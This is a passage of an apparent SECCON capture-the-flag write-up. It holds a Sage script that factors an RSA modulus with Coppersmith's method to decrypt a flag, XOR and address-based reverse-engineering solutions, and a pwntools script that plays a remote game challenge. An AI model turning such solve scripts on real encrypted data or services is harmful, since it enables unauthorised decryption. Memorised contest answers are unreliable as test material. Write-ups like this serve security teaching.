pvec = vector(R, -v[1:k + 1]) / R(2^(1000-512//k)) randvector1 = vector(R, v[k+1:]) assert vector(R, p_encoded) == pvec * G + randvector1 for _ in v[k+1:]: assert 0 <= _ < 2^1000 p = 0 for i in range(k): p <<= 512//k p += ZZ(pvec[-1 - i]) PR.<x> = PolynomialRing(R, implementation='NTL') f = p + x p += ZZ(f.small_roots(beta=0.4999)[0]) assert p.nbits() == 512 q = N // p assert p * q == N ## recover keyvec import random R_p = Zmod(p) G_p = Matrix(R_p, G) key_encoded_p = vector(R_p, key_encoded) while True: sample_pos = random.sample(range(n), k) sample_G = G_p.matrix_from_columns(sample_pos) sample_key_encoded = vector(R_p, [key_encoded[sample_pos[i]] for i in range(k)]) keyvec_p = sample_key_encoded * sample_G.inverse() randvector2_p = key_encoded_p - keyvec_p*G_p sample_pos = [] for i in range(n): if randvector2_p[i]: sample_pos.append(i) if k <= len(sample_pos) <= 14: break R_q = Zmod(q) G_q = Matrix(R_q, G) key_encoded_q = vector(R_q, key_encoded) sample_G = G_q.matrix_from_columns(sample_pos[:k]) sample_key_encoded = vector(R_q, [key_encoded[sample_pos[i]] for i in range(k)]) keyvec_q = sample_key_encoded * sample_G.inverse() randvector2_q = key_encoded_q - keyvec_q*G_q sample_pos = [] for i in range(n): if randvector2_q[i]: sample_pos.append(i) assert len(sample_pos) <= 14 keyvec = [] for i in range(k): keyvec.append(crt([ZZ(keyvec_p[i]), ZZ(keyvec_q[i])],[p, q])) keyvec = vector(R, keyvec) import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = hashlib.sha256(str(keyvec).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) print(unpad(cipher.decrypt(encrypted_flag), AES.block_size)) ``` # Rev ## packed Should not unpack by `upx -d` and see main. Function `main` is fake. Simple xor encryption. ```python= key = [0xe8,0x4a,0x00,0x00,0x00,0x83,0xf9,0x49,0x75,0x44,0x53,0x57,0x48,0x8d,0x4c,0x37,0xfd,0x5e,0x56,0x5b,0xeb,0x2f,0x48,0x39,0xce,0x73,0x32,0x56,0x5e,0xac,0x3c,0x80,0x72,0x0a,0x3c,0x8f,0x77,0x06,0x80,0x7e,0xfe,0x0f,0x74,0x06,0x2c,0xe8,0x3c,0x01] target = [0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c] print(bytes(map(lambda x: x[0] ^ x[1], zip(key, target)))) ``` ## Jump There is a switch case thing in 0x4009EC. But the binary call functions in different way. ```text= 0x40090C : SECC 0x400718 : ON{5 0x400650 : h4k3 0x4006B4 : _1t_ 0x400804 : up_5 0x40096C : h-5h 0x40077C : -5h5 0x40088C : hk3} ``` ## Reaction Puyopuyo without display. ```python= from pwn import * p = remote("reaction.seccon.games", 5000) #context.log_level = "DEBUG" lst = [ [13, 0], [11, 1], [10, 1], [12, 1], [9, 3], [0, 0], [9, 3], [0, 0], [0, 0], [8, 3], [0, 3], [9, 3], [7, 1], [6, 3], [0, 0], [11, 1], [6, 0], [0, 0], [6, 1], [8, 0], [6, 3], [4, 3], [4, 3], [11, 1], [0, 2], [3, 1], [5, 3], [3, 0], [0, 3], [13, 0], [2, 1], [13, 0], [4, 3], [13, 0], [1, 0], [0, 0], [13, 0], [13, 0], [0, 0], [12, 0], [12, 0], [2, 3], [3, 0], [2, 3], [12, 0], [2, 1], [0, 0], [13, 0], [11, 0], [11, 0], [1, 2], [1, 0] ] pp = 0 while True: r1 = p.recv(2) print(pp + 1, list(r1)) if r1[0] >= 0x5: p.interactive() if pp < len(lst): p.send(bytes(lst[pp])) else: p.send(bytes([0, 0])) pp += 1 p.interactive() ``` ```text= Final State [ , , , , , , , , , , , , , ] [ , , , , , , , , , , , , , ] [ , , , , , , , , , , , , ,3] [ , , , , , , , , , , , ,4,2] [ , , ,2, , , , , , , , ,2,1] [4, , ,3, , , , , , , ,1,4,3] [3, , ,1, , , , , , , ,2,1,3] [4,4, ,1, , ,2, , , , ,3,4,2] [4,4, ,1, , ,2, , , , ,1,3,1] [4,2,1,2,3,2,1,3,4,1,3,2,4,2] [3,4,2,1,2,3,2,1,3,4,1,3,2,4] [3,4,2,1,2,3,2,1,3,4,1,3,2,4] [3,4,2,1,2,3,2,1,3,4,1,3,2,4] ```